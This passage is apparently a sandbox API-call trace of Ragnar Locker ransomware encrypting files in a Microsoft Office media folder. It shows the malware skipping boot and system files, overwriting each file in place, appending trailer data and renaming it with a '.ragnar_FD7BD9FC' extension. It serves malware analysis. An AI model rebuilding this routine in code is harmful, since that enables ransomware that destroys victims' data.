ftCreationTime.dwHighDateTime=0x1bea1cc, ftLastAccessTime.dwLowDateTime=0xbd5d1680, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb7ae3400, ftLastWriteTime.dwHighDateTime=0x1bea1cc, nFileSizeHigh=0x0, nFileSizeLow=0x62e3, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0284916.JPG", cAlternateFileName="")) returned 1 [0095.809] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x38 [0095.809] lstrcpyW (in: lpString1=0x1eb62a, lpString2="J0284916.JPG" | out: lpString1="J0284916.JPG") returned="J0284916.JPG" [0095.809] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0284916.JPG") returned=".JPG" [0095.809] lstrcmpiW (lpString1="J0284916.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0095.809] lstrcmpiW (lpString1="J0284916.JPG", lpString2="autorun.inf") returned 1 [0095.809] lstrcmpiW (lpString1="J0284916.JPG", lpString2="boot.ini") returned 1 [0095.809] lstrcmpiW (lpString1="J0284916.JPG", lpString2="bootfont.bin") returned 1 [0095.809] lstrcmpiW (lpString1="J0284916.JPG", lpString2="bootsect.bak") returned 1 [0095.809] lstrcmpiW (lpString1="J0284916.JPG", lpString2="bootmgr") returned 1 [0095.809] lstrcmpiW (lpString1="J0284916.JPG", lpString2="bootmgr.efi") returned 1 [0095.809] lstrcmpiW (lpString1="J0284916.JPG", lpString2="bootmgfw.efi") returned 1 [0095.809] lstrcmpiW (lpString1="J0284916.JPG", lpString2="desktop.ini") returned 1 [0095.809] lstrcmpiW (lpString1="J0284916.JPG", lpString2="iconcache.db") returned 1 [0095.809] lstrcmpiW (lpString1="J0284916.JPG", lpString2="ntldr") returned -1 [0095.809] lstrcmpiW (lpString1="J0284916.JPG", lpString2="ntuser.dat") returned -1 [0095.809] lstrcmpiW (lpString1="J0284916.JPG", lpString2="ntuser.dat.log") returned -1 [0095.809] lstrcmpiW (lpString1="J0284916.JPG", lpString2="ntuser.ini") returned -1 [0095.809] lstrcmpiW (lpString1="J0284916.JPG", lpString2="thumbs.db") returned -1 [0095.809] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0095.809] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0095.809] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0095.809] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0095.810] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0095.810] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0095.810] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0095.810] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0284916.JPG" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0284916.jpg")) returned 0x20 [0095.810] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0284916.JPG" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0284916.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0095.810] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=25315) returned 1 [0095.810] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x62da, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.810] GetProcessHeap () returned 0x580000 [0095.810] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0095.810] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0095.812] VirtualAlloc (lpAddress=0x0, dwSize=0x62e3, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0095.812] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.812] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0095.812] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x62e3, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x62e3, lpOverlapped=0x0) returned 1 [0095.813] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0095.813] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x62e3, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.813] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x62e3, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x62e3, lpOverlapped=0x0) returned 1 [0095.814] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x62e3, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.814] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0095.814] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x62e3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.814] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.814] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.814] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.814] WriteFile (in: hFile=0x104, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0095.814] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.814] GetProcessHeap () returned 0x580000 [0095.814] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0095.814] CloseHandle (hObject=0x104) returned 1 [0095.814] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0284916.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0284916.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0284916.JPG" [0095.815] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0284916.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0284916.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0284916.JPG.ragnar_FD7BD9FC" [0095.815] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0284916.JPG" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0284916.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0284916.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0284916.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0095.815] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa68bc300, ftCreationTime.dwHighDateTime=0x1befd79, ftLastAccessTime.dwLowDateTime=0xbd5d1680, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa68bc300, ftLastWriteTime.dwHighDateTime=0x1befd79, nFileSizeHigh=0x0, nFileSizeLow=0x7876, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0285360.WMF", cAlternateFileName="")) returned 1 [0095.815] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x38 [0095.815] lstrcpyW (in: lpString1=0x1eb62a, lpString2="J0285360.WMF" | out: lpString1="J0285360.WMF") returned="J0285360.WMF" [0095.815] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285360.WMF") returned=".WMF" [0095.815] lstrcmpiW (lpString1="J0285360.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0095.815] lstrcmpiW (lpString1="J0285360.WMF", lpString2="autorun.inf") returned 1 [0095.815] lstrcmpiW (lpString1="J0285360.WMF", lpString2="boot.ini") returned 1 [0095.815] lstrcmpiW (lpString1="J0285360.WMF", lpString2="bootfont.bin") returned 1 [0095.815] lstrcmpiW (lpString1="J0285360.WMF", lpString2="bootsect.bak") returned 1 [0095.815] lstrcmpiW (lpString1="J0285360.WMF", lpString2="bootmgr") returned 1 [0095.815] lstrcmpiW (lpString1="J0285360.WMF", lpString2="bootmgr.efi") returned 1 [0095.816] lstrcmpiW (lpString1="J0285360.WMF", lpString2="bootmgfw.efi") returned 1 [0095.816] lstrcmpiW (lpString1="J0285360.WMF", lpString2="desktop.ini") returned 1 [0095.816] lstrcmpiW (lpString1="J0285360.WMF", lpString2="iconcache.db") returned 1 [0095.816] lstrcmpiW (lpString1="J0285360.WMF", lpString2="ntldr") returned -1 [0095.816] lstrcmpiW (lpString1="J0285360.WMF", lpString2="ntuser.dat") returned -1 [0095.816] lstrcmpiW (lpString1="J0285360.WMF", lpString2="ntuser.dat.log") returned -1 [0095.816] lstrcmpiW (lpString1="J0285360.WMF", lpString2="ntuser.ini") returned -1 [0095.816] lstrcmpiW (lpString1="J0285360.WMF", lpString2="thumbs.db") returned -1 [0095.816] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0095.816] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0095.816] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0095.816] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0095.816] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0095.816] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0095.816] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0095.816] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285360.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0285360.wmf")) returned 0x20 [0095.816] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285360.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0285360.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0095.816] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=30838) returned 1 [0095.816] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x786d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.817] GetProcessHeap () returned 0x580000 [0095.817] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0095.817] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0095.818] VirtualAlloc (lpAddress=0x0, dwSize=0x7876, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0095.818] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.818] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0095.818] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x7876, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x7876, lpOverlapped=0x0) returned 1 [0095.820] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0095.820] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7876, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.820] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x7876, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x7876, lpOverlapped=0x0) returned 1 [0095.820] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7876, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.820] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0095.820] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x7876, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.820] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.820] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.821] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.821] WriteFile (in: hFile=0x104, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0095.821] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.821] GetProcessHeap () returned 0x580000 [0095.821] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0095.821] CloseHandle (hObject=0x104) returned 1 [0095.821] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285360.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285360.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285360.WMF" [0095.821] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285360.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285360.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285360.WMF.ragnar_FD7BD9FC" [0095.821] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285360.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0285360.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285360.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0285360.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0095.822] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd63acb00, ftCreationTime.dwHighDateTime=0x1befd79, ftLastAccessTime.dwLowDateTime=0xbd5d1680, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd63acb00, ftLastWriteTime.dwHighDateTime=0x1befd79, nFileSizeHigh=0x0, nFileSizeLow=0x30e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0285410.WMF", cAlternateFileName="")) returned 1 [0095.822] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x38 [0095.822] lstrcpyW (in: lpString1=0x1eb62a, lpString2="J0285410.WMF" | out: lpString1="J0285410.WMF") returned="J0285410.WMF" [0095.822] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285410.WMF") returned=".WMF" [0095.822] lstrcmpiW (lpString1="J0285410.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0095.822] lstrcmpiW (lpString1="J0285410.WMF", lpString2="autorun.inf") returned 1 [0095.822] lstrcmpiW (lpString1="J0285410.WMF", lpString2="boot.ini") returned 1 [0095.822] lstrcmpiW (lpString1="J0285410.WMF", lpString2="bootfont.bin") returned 1 [0095.822] lstrcmpiW (lpString1="J0285410.WMF", lpString2="bootsect.bak") returned 1 [0095.822] lstrcmpiW (lpString1="J0285410.WMF", lpString2="bootmgr") returned 1 [0095.822] lstrcmpiW (lpString1="J0285410.WMF", lpString2="bootmgr.efi") returned 1 [0095.822] lstrcmpiW (lpString1="J0285410.WMF", lpString2="bootmgfw.efi") returned 1 [0095.822] lstrcmpiW (lpString1="J0285410.WMF", lpString2="desktop.ini") returned 1 [0095.822] lstrcmpiW (lpString1="J0285410.WMF", lpString2="iconcache.db") returned 1 [0095.822] lstrcmpiW (lpString1="J0285410.WMF", lpString2="ntldr") returned -1 [0095.822] lstrcmpiW (lpString1="J0285410.WMF", lpString2="ntuser.dat") returned -1 [0095.822] lstrcmpiW (lpString1="J0285410.WMF", lpString2="ntuser.dat.log") returned -1 [0095.822] lstrcmpiW (lpString1="J0285410.WMF", lpString2="ntuser.ini") returned -1 [0095.822] lstrcmpiW (lpString1="J0285410.WMF", lpString2="thumbs.db") returned -1 [0095.822] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0095.822] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0095.822] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0095.822] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0095.822] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0095.822] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0095.822] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0095.822] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285410.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0285410.wmf")) returned 0x20 [0095.823] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285410.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0285410.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0095.823] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=12516) returned 1 [0095.823] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x30db, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.823] GetProcessHeap () returned 0x580000 [0095.823] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0095.823] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0095.824] VirtualAlloc (lpAddress=0x0, dwSize=0x30e4, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0095.825] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.825] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0095.825] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x30e4, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x30e4, lpOverlapped=0x0) returned 1 [0095.826] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0095.826] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x30e4, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.826] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x30e4, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x30e4, lpOverlapped=0x0) returned 1 [0095.826] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x30e4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.826] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0095.826] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x30e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.826] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.826] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.827] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.827] WriteFile (in: hFile=0x104, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0095.827] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.827] GetProcessHeap () returned 0x580000 [0095.827] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0095.827] CloseHandle (hObject=0x104) returned 1 [0095.827] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285410.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285410.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285410.WMF" [0095.827] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285410.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285410.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285410.WMF.ragnar_FD7BD9FC" [0095.827] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285410.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0285410.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285410.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0285410.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0095.828] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97d5a00, ftCreationTime.dwHighDateTime=0x1befd7a, ftLastAccessTime.dwLowDateTime=0xbd5d1680, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x97d5a00, ftLastWriteTime.dwHighDateTime=0x1befd7a, nFileSizeHigh=0x0, nFileSizeLow=0x2448, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0285444.WMF", cAlternateFileName="")) returned 1 [0095.828] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x38 [0095.828] lstrcpyW (in: lpString1=0x1eb62a, lpString2="J0285444.WMF" | out: lpString1="J0285444.WMF") returned="J0285444.WMF" [0095.828] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285444.WMF") returned=".WMF" [0095.828] lstrcmpiW (lpString1="J0285444.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0095.828] 